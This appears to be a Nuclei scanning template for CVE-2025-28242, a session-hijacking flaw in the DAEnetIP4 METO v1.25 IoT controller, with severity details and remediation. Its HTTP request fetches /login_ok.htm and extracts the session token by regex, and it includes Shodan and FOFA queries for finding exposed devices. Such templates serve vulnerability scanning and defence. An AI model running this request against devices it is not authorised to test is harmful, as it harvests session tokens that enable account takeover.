CVE-2025-28242: DAEnetIP4 METO v1.25 - Session Hijacking

id: CVE-2025-28242

info:
  name: DAEnetIP4 METO v1.25 - Session Hijacking
  author: 0x_Akoko
  severity: high
  description: |
    DAEnetIP4 METO v1.25 contains improper session management in the /login_ok.htm endpoint, letting attackers hijack sessions, exploit requires attacker to control or intercept session tokens.
  impact: |
    Attackers can hijack user sessions, gaining unauthorized access to user accounts and sensitive information.
  remediation: |
    Implement proper session management and secure session tokens, and update to the latest version if available.
  reference:
    - https://github.com/shiky8/my--cve-vulnerability-research/tree/main/CVE-2025-28242
    - https://nvd.nist.gov/vuln/detail/CVE-2025-28242
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cwe-id: CWE-384
  metadata:
    max-request: 1
    verified: true
    vendor: denkovi
    product: daenetip4_meto
    shodan-query: title:"DAEnetIP4"
    fofa-query: title="DAEnetIP4"
  tags: cve,cve2025,daenetip4,denkovi,session-hijacking,iot,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/login_ok.htm"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "DAEnetIP4", "session=")'
        condition: and

    extractors:
      - type: regex
        name: session-token
        part: body
        group: 1
        regex:
          - 'session=([0-9]+)'
# digest: 4a0a00473045022100c0cc4e5ed1238d3b34153567806c9871d90c44b67754463da2ae0a4ca94bda710220286bc6941d656d74b532e328824bba390f673e1c82c7f31d9bf52af6e6a5fefc:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.